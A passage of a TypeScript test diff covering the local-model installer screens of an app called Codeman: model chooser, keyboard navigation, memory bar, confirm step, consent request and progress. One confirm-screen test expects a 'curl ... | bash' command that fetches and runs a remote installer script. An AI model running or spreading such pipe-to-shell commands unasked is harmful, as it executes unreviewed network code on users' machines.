app.loadLocalModel({ force: true }); + expect(button.textContent!.trim()).toBe('Run a local model'); } + current = INSTALLED; + await app.loadLocalModel({ force: true }); + expect(button.textContent!.trim()).toBe('Local model'); + current = STOPPED; + await app.loadLocalModel({ force: true }); + expect(button.textContent!.trim()).toBe('Local model'); }); - it('covers every reason the contract knows', () => { - const covered = [...NONE_CASES.map((c) => c.reason), 'not-macos'].sort(); - expect(covered).toEqual(Object.keys(LOCAL_MODEL_NONE_LABELS).sort()); + it('shows on a Mac that can run no model too: the window says why', async () => { + const { newApp, button } = mount(); + const app = newApp(ok(none('memory', { memory: '8' }, { memClassGb: 8, memGb: '8.6', chip: 'Apple M2' }))); + await app.loadLocalModel(); + expect(button.hidden).toBe(false); + expect(button.textContent!.trim()).toBe('Run a local model'); }); - it('says both numbers when the Mac misses by a hair (the 16 GB Mac mini)', async () => { - const { newApp, card, row } = mount(); - const answer = noneWith( - 'memory', - LOCAL_MODEL_LABELS.noneMemoryContext, - { budget: '10.4', need: '10.3' }, - { memGb: '17.2', memClassGb: 16, chip: 'Apple M4', freeDiskGb: '42.8' } - ); - await newApp(ok(answer)).loadLocalModel(); - for (const root of [card, row]) { - expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 16 GB memory, 42.8 GB free']); - expect(texts(root, '.local-model-headline')).toEqual([ - 'Codeman estimates that this Mac can give a model about 10.4 GB of memory. The smallest model a coding agent can work with needs about 10.3 GB. That leaves no safe margin, so Codeman recommends none here.', - ]); - } - }); - - it('states no memory size when the server could not read one', async () => { - const { newApp, card, row } = mount(); - const answer = noneWith('memory', LOCAL_MODEL_LABELS.noneMemoryUnknown, undefined, { - memBytes: 0, - memGb: '0.0', - memClassGb: 0, - }); - await newApp(ok(answer)).loadLocalModel(); - for (const root of [card, row]) { - // The chip and nothing else: no "0 GB memory" in the hardware line, no size in the sentence. - expect(texts(root, '.local-model-hw')).toEqual(['Apple M5 Pro']); - expect(texts(root, '.local-model-headline')).toEqual([ - 'Codeman could not read how much memory this Mac has, so it recommends no model here.', - ]); - expect(root.textContent).not.toMatch(/\b0(\.0)? GB/); - } + it('opens the window, and the window gives the focus back when it closes', async () => { + const page = mount(); + const app = page.newApp(ok(IDLE)); + await app.loadLocalModel(); + page.button.focus(); + app.openLocalModelWindow(); + expect(page.modal.classList.contains('active')).toBe(true); + expect(app.isLocalModelWindowOpen()).toBe(true); + // The focus lands on the selected model, inside the dialog. + expect(page.document.activeElement?.getAttribute('role')).toBe('radio'); + app.closeLocalModelWindow(); + expect(page.modal.classList.contains('active')).toBe(false); + expect(page.document.activeElement).toBe(page.button); + // Escape and the backdrop call it whether or not the window is open. + app.closeLocalModelWindow(); + expect(app.isLocalModelWindowOpen()).toBe(false); }); }); -describe('verdict ok', () => { - it('shows the hardware, the headline, the pick with its numbers, the note and the next step', async () => { - const { newApp, card } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - expect(card.hidden).toBe(false); - expect(texts(card, '.local-model-title')).toEqual(['Model on this Mac']); - // The page can be open on another device: the title says whose Mac is meant. - expect((card.querySelector('.local-model-title') as HTMLElement).title).toBe( - 'The Mac that Codeman runs on, which is not always the device you are reading on.' - ); - // 48, the size this Mac is sold as and what About This Mac shows: not 51.5 (its bytes in decimal GB). - expect(texts(card, '.local-model-hw')).toEqual(['Apple M5 Pro, 48 GB memory, 912 GB free']); - expect(texts(card, '.local-model-headline')).toEqual(['Best fit for this Mac']); - expect(texts(card, '.local-model-note')).toEqual(['Not yet tested by us on a Mac like this.']); +describe('the App Settings row', () => { + it.each([ + ['nothing installed', IDLE, 'No model installed', 'Apple M5 Pro, 48 GB memory, 897 GB free', 'Choose a model'], + ['an install running', INSTALLING, 'Installing Qwen3.6 35B-A3B', 'Apple M5 Pro, 48 GB memory, 897 GB free', 'Open'], + ['a paused install', PAUSED, 'The install of Qwen3.6 35B-A3B is paused', undefined, 'Open'], + [ + 'a stopped install', + failed('load-failed', { model: 'Qwen3.6 35B-A3B' }), + 'The install of Qwen3.6 35B-A3B stopped', + undefined, + 'Open', + ], + ['a running model', INSTALLED, 'Qwen3.6 35B-A3B is running', undefined, 'Open'], + ['a stopped model', STOPPED, 'Qwen3.6 35B-A3B is installed and stopped', undefined, 'Open'], + ] as Array<[string, LocalModelStatus, string, string | undefined, string]>)( + 'says where things stand in a few words: %s', + async (_name, answer, label, detail, action) => { + const { newApp, row, rowButton, group } = mount(); + const app = newApp(ok(answer)); + await app.loadLocalModel(); + expect(group.style.display).toBe(''); + expect(texts(row, '.set-row-label')).toEqual([label]); + if (detail) expect(texts(row, '.set-row-desc')).toEqual([detail]); + expect(rowButton.hidden).toBe(false); + expect(rowButton.textContent).toBe(action); + } + ); - const pick = card.querySelector('.local-model-pick')!; - expect(texts(pick, '.local-model-name')).toEqual(['Qwen3.8 27B (qwen3.8:27b) with OpenCode']); - expect(texts(pick, '.local-model-pill')).toEqual(['Good', 'Speed unknown']); - expect(texts(pick, '.local-model-line')).toEqual([ - 'Context 131,072 tokens · 17.7 GB download · Apache-2.0', - 'Needs about 29.6 GB of the 37.6 GB this Mac can give a model (estimated).', + it('gives the reason when no model fits, and still opens the window', async () => { + const page = mount(); + const app = page.newApp(ok(none('memory', { memory: '8' }, { memClassGb: 8, memGb: '8.6', chip: 'Apple M2' }))); + await app.loadLocalModel(); + expect(texts(page.row, '.set-row-label')).toEqual(['No model installed']); + expect(texts(page.row, '.set-row-desc')).toEqual([ + 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', ]); - expect(texts(card, '.local-model-next')).toEqual([NEXT_STEP]); + expect(page.rowButton.textContent).toBe('Open'); + app.openLocalModelWindow(); + expect(page.body.dataset.screen).toBe('none'); + }); +}); + +// ---------- The chooser ---------- + +describe('the chooser', () => { + it('opens with the hardware line, the memory bar and the five models, the pick selected', async () => { + const page = mount(); + await opened(page, IDLE); + const { body } = page; + expect(body.dataset.screen).toBe('choose'); + expect(texts(body, '.lm-hw')).toEqual(['Apple M5 Pro, 48 GB memory, 897 GB free']); + expect(texts(body, '.lm-figure')).toEqual(['About 36.0 of 37.6 GB of memory']); + expect(texts(body, '.lm-legend span')).toEqual(['The model at 131,072 tokens of context', 'What stays free']); + + const group = body.querySelector('[role="radiogroup"]')!; + const label = page.document.getElementById(group.getAttribute('aria-labelledby')!)!; + // The server's word for a pick it has run on a Mac like this one labels the list. + expect(label.textContent).toBe('Recommended for this Mac'); + const rows = [...group.querySelectorAll('[role="radio"]')]; + expect(rows.map((row) => row.querySelector('.lm-model-name')!.textContent)).toEqual([ + 'Qwen3.6 35B-A3B', + 'Qwen3.8 27B', + 'GPT-OSS 20B', + 'Qwen3.5 9B (Q8)', + 'Qwen3.5 9B', + ]); + expect(rows.map((row) => row.getAttribute('aria-checked'))).toEqual(['true', 'false', 'false', 'false', 'false']); + // One tab stop: the selected row. + expect(rows.map((row) => row.getAttribute('tabindex'))).toEqual(['0', '-1', '-1', '-1', '-1']); + // One line a row: name, one tag, speed, download size. + expect(rows.map((row) => row.querySelector('.lm-model-tag')!.textContent)).toEqual([ + 'Tested on a Mac like this', + 'Slow', + '', + 'Small model', + 'Small model', + ]); + // A measured speed is stated, an estimate says "about", and a missing one says so. + expect(texts(group, '.lm-model-speed')).toEqual([ + '68 tokens/s', + 'about 9.1 tokens/s', + 'speed not known', + 'about 18 tokens/s', + 'about 29 tokens/s', + ]); + expect(texts(group, '.lm-model-size')).toEqual(['23.1 GB', '17.7 GB', '13.8 GB', '10.4 GB', '6.6 GB']); + expect(texts(body, '.lm-caption span')).toEqual(['Recommended for this Mac', 'Speed', 'Download']); + expect(texts(body, '.lm-foot-note')).toEqual(['No account and no API key. The model runs only on this Mac.']); + expect(buttons(body)).toEqual(['Install on this Mac']); }); - it('never says "Recommended" for a pick nobody tested: that word is the server\'s to send', async () => { - const { newApp, card, row } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - expect(card.textContent).not.toMatch(/recommend/i); - expect(row.textContent).not.toMatch(/recommend/i); - // The module holds no such string of its own (comments aside). + it('gives the accent to the pick and to a tested row only', async () => { + const page = mount(); + const best = candidate({ tested: false, tag: { kind: 'best', label: LOCAL_MODEL_TAG_LABELS.best } }); + const tight = candidate({ + modelId: 'gpt-oss:20b', + modelLabel: 'GPT-OSS 20B', + tested: false, + tag: { kind: 'tight', label: LOCAL_MODEL_TAG_LABELS.tight }, + }); + await opened( + page, + status({ + headline: { text: LOCAL_MODEL_LABELS.headlineOk }, + pick: best, + alternatives: [tight, ALT_SLOW, ALT_SMALL], + }) + ); + const tags = [...page.body.querySelectorAll('.lm-tag')]; + expect(tags.map((tag) => tag.textContent)).toEqual(['Best fit', 'Tight', 'Slow', 'Small model']); + expect(tags.map((tag) => tag.classList.contains('lm-tag-accent'))).toEqual([true, false, false, false]); + // "Best fit for this Mac" would only repeat the tag: the list is labelled by what it holds. + expect(texts(page.body, '.lm-caption-label')).toEqual(['Models that fit this Mac']); + expect(page.body.textContent).not.toContain('Recommended'); + expect(page.body.textContent).not.toContain('Best fit for this Mac'); + }); + + it('says "estimated" once while the budget is a formula, and not once it is measured', async () => { + const page = mount(); + const { app, serve } = await opened(page, IDLE); + expect(texts(page.body, '.lm-figure-aside')).toEqual(['estimated']); + for (const budgetSource of ['measured', 'wired-limit'] as const) { + serve(status({ budgetBytes: 40157944217, budgetGb: '40.2', budgetSource })); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-figure')).toEqual(['About 36.0 of 40.2 GB of memory']); + expect(texts(page.body, '.lm-figure-aside')).toEqual([]); + expect(page.body.textContent).not.toContain('estimated'); + } + }); + + it('puts the small-model caveat above the list and the notes under it', async () => { + const page = mount(); + await opened( + page, + status({ + verdict: 'limited', + headline: { text: LOCAL_MODEL_LABELS.headlineLimited }, + notes: [ + { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.4' } }, + { text: LOCAL_MODEL_LABELS.noteUntested }, + ], + pick: ALT_SMALL, + alternatives: [], + }) + ); + expect(texts(page.body, '.lm-lead')).toEqual([LOCAL_MODEL_LABELS.headlineLimited]); + expect(texts(page.body, '.lm-caption-label')).toEqual(['Models that fit this Mac']); + expect(texts(page.body, '.lm-notes .lm-aside')).toEqual([ + 'Qwen3.6 35B-A3B fits the memory of this Mac too, but its download needs about 0.4 GB more free disk space.', + 'Not yet tested by us on a Mac like this.', + ]); + }); + + it('offers only the coding agents the server lists for the selected model', async () => { + const page = mount(); + await opened(page, IDLE); + const { body } = page; + const select = () => body.querySelector<HTMLSelectElement>('select.lm-select')!; + expect(texts(body, '.lm-runs-label')).toEqual(['Runs with']); + expect(body.querySelector('.lm-runs-label')!.getAttribute('for')).toBe(select().id); + expect([...select().options].map((option) => option.textContent)).toEqual(['OpenCode', 'Claude Code']); + expect(select().selectedOptions[0].textContent).toBe('OpenCode'); + expect(texts(body, '.lm-runs-hint')).toEqual(['Not on this Mac yet. It is installed for you.']); + // No value in the page is a CLI id: the choice is a position in the server's list. + expect([...select().options].map((option) => option.value)).toEqual(['0', '1']); + + select().value = '1'; + select().dispatchEvent(new page.dom.window.Event('change')); + expect(select().selectedOptions[0].textContent).toBe('Claude Code'); + expect(texts(body, '.lm-runs-hint')).toEqual(['The first answer can take minutes.']); + + // The agent stays when the next row offers it too, and falls back to that row's first when not. + (body.querySelectorAll<HTMLElement>('[role="radio"]')[2] as HTMLElement).click(); + expect(select().selectedOptions[0].textContent).toBe('Claude Code'); + (body.querySelectorAll<HTMLElement>('[role="radio"]')[1] as HTMLElement).click(); + expect([...select().options].map((option) => option.textContent)).toEqual(['OpenCode']); + }); + + it('reads a payload without the agent list as the one agent of the flat fields', async () => { + const page = mount(); + const flat = { ...PICK, harnesses: undefined, cliInstalled: true } as unknown as Candidate; + await opened(page, status({ pick: flat, alternatives: [] })); + const select = page.body.querySelector<HTMLSelectElement>('select.lm-select')!; + expect([...select.options].map((option) => option.textContent)).toEqual(['OpenCode']); + expect(texts(page.body, '.lm-runs-hint')).toEqual([]); + }); + + it('has a button only when the server accepts an install', async () => { + const page = mount(); + const { app, serve } = await opened(page, status({}, { actions: [] })); + expect(page.body.dataset.screen).toBe('choose'); + expect(buttons(page.body)).toEqual([]); + // A server that sends no `install` object yet: the chooser, and nothing to press. + const older = { ...IDLE } as Partial<LocalModelStatus>; + delete older.install; + serve(older as LocalModelStatus); + await app.loadLocalModel({ force: true }); + expect(page.body.querySelectorAll('[role="radio"]')).toHaveLength(5); + expect(buttons(page.body)).toEqual([]); + }); +}); + +describe('the radio group at the keyboard', () => { + const key = (page: Mounted, name: string) => { + const event = new page.dom.window.KeyboardEvent('keydown', { key: name, bubbles: true, cancelable: true }); + page.document.activeElement!.dispatchEvent(event); + return event; + }; + const checked = (page: Mounted) => + page.body.querySelector('[role="radio"][aria-checked="true"] .lm-model-name')!.textContent; + + it('moves the selection with the arrow keys, Home and End, and the focus follows', async () => { + const page = mount(); + await opened(page, IDLE); + expect(checked(page)).toBe('Qwen3.6 35B-A3B'); + const walk: Array<[string, string]> = [ + ['ArrowDown', 'Qwen3.8 27B'], + ['ArrowRight', 'GPT-OSS 20B'], + ['ArrowUp', 'Qwen3.8 27B'], + ['ArrowLeft', 'Qwen3.6 35B-A3B'], + // The ends wrap. + ['ArrowUp', 'Qwen3.5 9B'], + ['ArrowDown', 'Qwen3.6 35B-A3B'], + ['End', 'Qwen3.5 9B'], + ['Home', 'Qwen3.6 35B-A3B'], + ]; + for (const [name, model] of walk) { + const event = key(page, name); + expect(event.defaultPrevented, name).toBe(true); + expect(checked(page), name).toBe(model); + // The focus is on the selected row, which is the group's one tab stop. + const active = page.document.activeElement!; + expect(active.getAttribute('aria-checked'), name).toBe('true'); + expect(active.getAttribute('tabindex'), name).toBe('0'); + expect(page.body.querySelectorAll('[role="radio"][tabindex="0"]'), name).toHaveLength(1); + } + }); + + it('leaves every other key to the page', async () => { + const page = mount(); + await opened(page, IDLE); + for (const name of ['Tab', 'a', 'Escape', 'PageDown']) { + expect(key(page, name).defaultPrevented, name).toBe(false); + expect(checked(page)).toBe('Qwen3.6 35B-A3B'); + } + }); + + it('selects a row on a click, and keeps the selection across the poll', async () => { + const page = mount(); + const { app } = await opened(page, IDLE); + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[3].click(); + expect(checked(page)).toBe('Qwen3.5 9B (Q8)'); + const row = page.body.querySelector('[role="radio"][aria-checked="true"]'); + await page.tick(); + await app.loadLocalModel({ force: true }); + expect(checked(page)).toBe('Qwen3.5 9B (Q8)'); + // The same answer again repaints nothing: the very same element is still there. + expect(page.body.querySelector('[role="radio"][aria-checked="true"]')).toBe(row); + }); +}); + +describe('the memory bar', () => { + const meter = (page: Mounted) => page.body.querySelector('.lm-bar')!; + const fill = (page: Mounted) => page.body.querySelector<HTMLElement>('.lm-bar-fill')!; + + it('is filled to what the selected model needs, and follows the selection', async () => { + const page = mount(); + await opened(page, IDLE); + expect(meter(page).getAttribute('role')).toBe('meter'); + expect(meter(page).getAttribute('aria-valuemin')).toBe('0'); + expect(meter(page).getAttribute('aria-valuemax')).toBe('100'); + // The pick is a tight fit: the bar is nearly full. + expect(meter(page).getAttribute('aria-valuenow')).toBe('96'); + expect(fill(page).style.width).toBe('96%'); + expect(meter(page).getAttribute('aria-label')).toBe( + 'The selected model needs 96% of the memory this Mac can give a model' + ); + + const expected: Array<[number, string, string, string]> = [ + [1, '81', 'About 30.6 of 37.6 GB of memory', 'The model at 131,072 tokens of context'], + [4, '45', 'About 17.0 of 37.6 GB of memory', 'The model at 65,536 tokens of context'], + [0, '96', 'About 36.0 of 37.6 GB of memory', 'The model at 131,072 tokens of context'], + ]; + for (const [index, percent, figure, legend] of expected) { + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[index].click(); + expect(meter(page).getAttribute('aria-valuenow')).toBe(percent); + expect(fill(page).style.width).toBe(`${percent}%`); + expect(texts(page.body, '.lm-figure')).toEqual([figure]); + expect(texts(page.body, '.lm-legend span')[0]).toBe(legend); + } + }); + + it('never runs past its track', async () => { + const page = mount(); + await opened(page, status({ pick: candidate({ budgetShare: 1.2 }), alternatives: [] })); + expect(meter(page).getAttribute('aria-valuenow')).toBe('100'); + expect(fill(page).style.width).toBe('100%'); + }); + + it('is one flat fill on a track, and stands still when motion is not wanted', () => { + const bar = STYLES.match(/\.lm-bar-fill \{[^}]*\}/)![0]; + expect(bar).toContain('background: var(--accent);'); + expect(bar).not.toMatch(/gradient|box-shadow|animation/); + expect(STYLES).toMatch(/\.lm-bar \{[^}]*height: 10px;[^}]*border-radius: 999px;/); + expect(STYLES).toMatch(/@media \(prefers-reduced-motion: reduce\) \{\s*\.lm-bar-fill,[^}]*transition: none;/); + }); +}); + +// ---------- Confirm and the consent ---------- + +describe('the confirm screen', () => { + it('collapses the list to the chosen row and says what is downloaded, and where it goes', async () => { + const page = mount(); + await opened(page, status({}, { developerTools: 'missing' })); + press(page.body, 'Install on this Mac'); + const { body } = page; + expect(body.dataset.screen).toBe('confirm'); + // Nothing was sent: this is the question. + expect(body.querySelectorAll('[role="radio"]')).toHaveLength(0); + expect(texts(body, '.lm-model .lm-model-name')).toEqual(['Qwen3.6 35B-A3B']); + expect(texts(body, '.lm-size-row').map((text) => text.replace(/\s+/g, ' '))).toEqual([ + 'Qwen3.6 35B-A3B23.1 GB', + 'Ollama 0.40.15, the program that runs the model0.2 GB', + 'Total23.3 GB', + ]); + expect(body.querySelector('.lm-size-total .lm-size-gb')!.textContent).toBe('23.3 GB'); + // The coding agent is missing: the literal command its installer runs, and the folder. + expect(texts(body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash', FOLDER]); + const asides = texts(body, '.lm-aside'); + expect(asides).toContain('Runs with OpenCode, at 131,072 tokens of context.'); + expect(asides).toContain('OpenCode is not on this Mac yet. Its own installer is run with this command:'); + expect(asides).toContain('No administrator password.'); + expect(asides).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing); + expect(buttons(body)).toEqual(['Back', 'Download and install']); + }); + + it('leaves out what does not apply: an installed runtime, an installed agent, a Mac with developer tools', async () => { + const page = mount(); + const pick = candidate({ installBytes: 23105798956, installGb: '23.1', harnesses: [CLAUDE] }); + await opened(page, status({ pick, alternatives: [] }, { runtime: RUNTIME_THERE, developerTools: 'present' })); + press(page.body, 'Install on this Mac'); + expect(texts(page.body, '.lm-size-what')).toEqual(['Qwen3.6 35B-A3B', 'Total']); + expect(texts(page.body, '.lm-command')).toEqual([FOLDER]); + expect(page.body.textContent).not.toContain('developer tools'); + expect(page.body.textContent).not.toContain('installer'); + }); + + it.each(['unknown', 'present'] as const)('says nothing about developer tools when they are %s', async (tools) => { + const page = mount(); + await opened(page, status({}, { developerTools: tools })); + press(page.body, 'Install on this Mac'); + expect(page.body.textContent).not.toContain('git'); + }); + + it('goes back to the chooser with the selection kept', async () => { + const page = mount(); + await opened(page, IDLE); + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[1].click(); + press(page.body, 'Install on this Mac'); + expect(texts(page.body, '.lm-model .lm-model-name')).toEqual(['Qwen3.8 27B']); + press(page.body, 'Back'); + expect(page.body.dataset.screen).toBe('choose'); + expect(page.body.querySelector('[aria-checked="true"] .lm-model-name')!.textContent).toBe('Qwen3.8 27B'); + }); +}); + +describe('the consent', () => { + it('sends the row that was on screen with the total that was on screen', async () => { + const page = mount(); + const { app } = await opened(page, IDLE, () => ok(INSTALLING.install)); + press(page.body, 'Install on this Mac'); + expect(verbs(app)).toEqual([]); + press(page.body, 'Download and install'); + await settle(); + expect(verbs(app)).toEqual([ + [ + 'POST', + '/api/local-model/install', + { + modelId: 'qwen3.6:35b-a3b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 23105798956 + RUNTIME_BYTES, + }, + ], + ]); + // The answer is the install after the verb: the window shows the download at once. + expect(page.body.dataset.screen).toBe('progress'); + }); + + it('sends the other row and the other agent when those were chosen', async () => { + const page = mount(); + const { app } = await opened(page, IDLE, () => ok(INSTALLING.install)); + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[3].click(); + const select = page.body.querySelector<HTMLSelectElement>('select.lm-select')!; + select.value = '1'; + select.dispatchEvent(new page.dom.window.Event('change')); + press(page.body, 'Install on this Mac'); + expect(texts(page.body, '.lm-size-total .lm-size-gb')).toEqual(['10.6 GB']); + press(page.body, 'Download and install'); + await settle(); + expect(verbs(app)[0][2]).toEqual({ + modelId: 'qwen3.5:9b-q8_0', + cli: 'claude', + context: 65536, + acknowledgedBytes: 10449217949 + RUNTIME_BYTES, + }); + }); + + it('reads a row without its own total as the model plus the runtime download', async () => { + const page = mount(); + const bare = { ...PICK, installBytes: undefined, installGb: undefined } as unknown as Candidate; + const { app } = await opened(page, status({ pick: bare, alternatives: [] }), () => ok(INSTALLING.install)); + press(page.body, 'Install on this Mac'); + // No total the server formatted, so none is printed: bytes are never turned into a size here. + expect(texts(page.body, '.lm-size-what')).toEqual([ + 'Qwen3.6 35B-A3B', + 'Ollama 0.40.15, the program that runs the model', + ]); + press(page.body, 'Download and install'); + await settle(); + expect((verbs(app)[0][2] as { acknowledgedBytes: number }).acknowledgedBytes).toBe(23105798956 + RUNTIME_BYTES); + }); + + it('shows the new total after a 409 size-changed, and sends that one next', async () => { + const page = mount(); + const answers: ApiResponse[] = [ + conflict({ + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.9' } }, + expectedBytes: 23900000000, + expectedGb: '23.9', + }), + ok(INSTALLING.install), + ]; + const { app } = await opened(page, IDLE, () => answers.shift() ?? null); + press(page.body, 'Install on this Mac'); + press(page.body, 'Download and install'); + await settle(); + // Still the question, now with the server's sentence and its total. + expect(page.body.dataset.screen).toBe('confirm'); + const notice = page.body.querySelector('.lm-notice')!; + expect(notice.getAttribute('role')).toBe('alert'); + expect(notice.textContent).toBe('The download is 23.9 GB now. Check the sizes and confirm again.'); + expect(texts(page.body, '.lm-size-total .lm-size-gb')).toEqual(['23.9 GB']); + press(page.body, 'Download and install'); + await settle(); + expect(verbs(app).map((verb) => (verb[2] as { acknowledgedBytes: number }).acknowledgedBytes)).toEqual([ + 23105798956 + RUNTIME_BYTES, + 23900000000, + ]); + expect(page.body.dataset.screen).toBe('progress'); + }); + + it('forgets a refused total when the person goes back and picks again', async () => { + const page = mount(); + const { app } = await opened(page, IDLE, () => + conflict({ + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.9' } }, + expectedBytes: 23900000000, + expectedGb: '23.9', + }) + ); + press(page.body, 'Install on this Mac'); + press(page.body, 'Download and install'); + await settle(); + press(page.body, 'Back'); + expect(page.body.querySelector('.lm-notice')).toBeNull(); + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[4].click(); + press(page.body, 'Install on this Mac'); + expect(texts(page.body, '.lm-size-total .lm-size-gb')).toEqual(['6.7 GB']); + press(page.body, 'Download and install'); + await settle(); + expect((verbs(app)[1][2] as { acknowledgedBytes: number }).acknowledgedBytes).toBe(6550825373 + RUNTIME_BYTES); + }); + + it('follows the server when a job is already running', async () => { + const page = mount(); + const { serve } = await opened(page, IDLE, () => + conflict({ reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } }) + ); + press(page.body, 'Install on this Mac'); + serve(INSTALLING); + press(page.body, 'Download and install'); + await settle(); + await settle(); + expect(page.body.dataset.screen).toBe('progress'); + expect(texts(page.body, '.lm-notice-text')).toEqual(['An install is already running.']); + }); + + it('says so when the request did not reach the server, and when the server did not take it', async () => { + const page = mount(); + const answers: ApiResponse[] = [ + null, + { + ok: false, + status: 400, + json: async () => ({ success: false, error: 'not a model <b>offered</b>', errorCode: 'INVALID_INPUT' }), + }, + ]; + await opened(page, IDLE, () => answers.shift() ?? null); + press(page.body, 'Install on this Mac'); + press(page.body, 'Download and install'); + await settle(); + expect(page.body.dataset.screen).toBe('confirm'); + expect(texts(page.body, '.lm-notice-text')).toEqual(['Could not reach the server.']); + press(page.body, 'Download and install'); + await settle(); + expect(texts(page.body, '.lm-notice-text')).toEqual(['The server did not accept that.']); + // The server's own words, as text. + expect(texts(page.body, '.lm-notice-detail')).toEqual(['not a model <b>offered</b>']); + expect(page.body.querySelector('.lm-notice b')).toBeNull(); + }); + + it('does not let a read that was already on its way undo what a verb answered', async () => { + const page = mount(); + let stale!: (response: ApiResponse) => void; + const { app } = await opened(page, IDLE, () => ok(INSTALLING.install)); + press(page.body, 'Install on this Mac'); + // A poll is in flight with the old answer when the install is sent. + app._api.mockImplementationOnce(() => new Promise<ApiResponse>((done) => (stale = done))); + await page.tick(); + press(page.body, 'Download and install'); + await settle(); + expect(page.body.dataset.screen).toBe('progress'); + // Every later read hangs, so what the old answer does to the screen can be seen. + const before = gets(app); + app._api.mockImplementation(() => new Promise<ApiResponse>(() => {})); + stale(ok(IDLE)); + await settle(); + await settle(); + // The older answer is dropped, and a new read was sent after it. + expect(page.body.dataset.screen).toBe('progress'); + expect(gets(app)).toBe(before + 1); + }); + + it('sends one request for two quick clicks', async () => { + const page = mount(); + let answer!: (response: ApiResponse) => void; + const { app } = await opened(page, IDLE, () => new Promise<ApiResponse>((done) => (answer = done))); + press(page.body, 'Install on this Mac'); + press(page.body, 'Download and install'); + // While the request is in flight every button waits. + expect([...page.body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')].map((el) => el.disabled)).toEqual([ + true, + true, + ]); + page.body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')[1].click(); + answer(ok(INSTALLING.install)); + await settle(); + expect(verbs(app)).toHaveLength(1); + }); +}); + +// ---------- Progress ---------- + +describe('the progress screen', () => { + it('replaces the memory bar with the download bar and lists the steps, the current one marked', async () => { + const page = mount(); + await opened(page, INSTALLING); + const { body } = page; + expect(body.dataset.screen).toBe('progress'); + expect(texts(body, '.lm-title')).toEqual(['Installing Qwen3.6 35B-A3B']); + expect(texts(body, '.lm-figure')).toEqual(['6.2 of 23.1 GB']); + expect(texts(body, '.lm-figure-aside')).toEqual(['58 MB per second, about 5 minutes left']); + const bar = body.querySelector('.lm-bar')!; + expect(bar.getAttribute('role')).toBe('progressbar'); + expect(bar.getAttribute('aria-valuenow')).toBe('27'); + expect(body.querySelector<HTMLElement>('.lm-bar-fill')!.style.width).toBe('27%'); + expect(body.querySelector('[role="meter"]')).toBeNull(); + + const steps = [...body.querySelectorAll('ol.lm-steps > li')]; + expect(steps.map((step) => step.textContent)).toEqual([ + 'Getting the runtime', + 'Downloading the model', + 'Loading and checking', + 'Installing OpenCode', + 'Connecting', + ]); + expect(steps.map((step) => step.className.replace('lm-step', '').trim())).toEqual([ + 'lm-step-done', + 'lm-step-now', + '', + '', + '', + ]); + expect(steps.map((step) => step.getAttribute('aria-current'))).toEqual([null, 'step', null, null, null]); + expect(texts(body, '.lm-aside')).toEqual([ + 'You can close this window. The download continues while Codeman is running.', + ]); + expect(buttons(body)).toEqual(['Cancel']); + }); + + it('leaves the agent step out of a job whose coding agent is installed', async () => { + const page = mount(); + await opened( + page, + status( + {}, + { + ...JOB, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + actions: ['cancel'], + } + ) + ); + expect(texts(page.body, 'ol.lm-steps > li')).toEqual([ + 'Getting the runtime', + 'Downloading the model', + 'Loading and checking', + 'Connecting', + ]); + }); + + it.each([ + [undefined, '58 MB per second'], + [0, '58 MB per second, less than a minute left'], + [59, '58 MB per second, less than a minute left'], + [60, '58 MB per second, about 1 minute left'], + [149, '58 MB per second, about 2 minutes left'], + [3599, '58 MB per second, about 60 minutes left'], + [3600, '58 MB per second, about 1 hour left'], + [9000, '58 MB per second, about 3 hours left'], + ] as Array<[number | undefined, string]>)('words the time left: %s seconds', async (secondsLeft, aside) => { + const page = mount(); + await opened(page, status({}, { ...INSTALLING.install, progress: { ...PROGRESS, secondsLeft } })); + expect(texts(page.body, '.lm-figure-aside')).toEqual([aside]); + }); + + it('names the step when nothing is being downloaded, with the bar full once the model is in', async () => { + const page = mount(); + const { app, serve } = await opened( + page, + status({}, { ...JOB, state: 'installing', step: 'runtime', actions: ['cancel'], runtime: RUNTIME_MISSING }) + ); + expect(texts(page.body, '.lm-figure')).toEqual(['Getting the runtime']); + expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('0'); + for (const [step, label] of [ + ['verify', 'Loading and checking'], + ['agent', 'Installing OpenCode'], + ['connect', 'Connecting'], + ] as const) { + serve(status({}, { ...JOB, state: 'installing', step, actions: ['cancel'] })); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-figure')).toEqual([label]); + expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('100'); + expect(texts(page.body, '.lm-figure-aside')).toEqual([]); + } + }); + + it('cancels with one request', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLING, () => ok(PAUSED.install)); + press(page.body, 'Cancel'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/cancel', undefined]]); + expect(page.body.dataset.screen).toBe('paused'); + }); + + it('moves only the bar when a tick moved only the download: the button is not swapped under a click', async () => { + const page = mount(); + const { app, serve } = await opened(page, INSTALLING); + const cancel = page.body.querySelector('.lm-buttons button'); + const steps = page.body.querySelector('ol.lm-steps'); + serve( + status( + {}, + { + ...INSTALLING.install, + progress: { ...PROGRESS, completedBytes: 11552899478, completedGb: '11.6', secondsLeft: 199 }, + } + ) + ); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-figure')).toEqual(['11.6 of 23.1 GB']); + expect(texts(page.body, 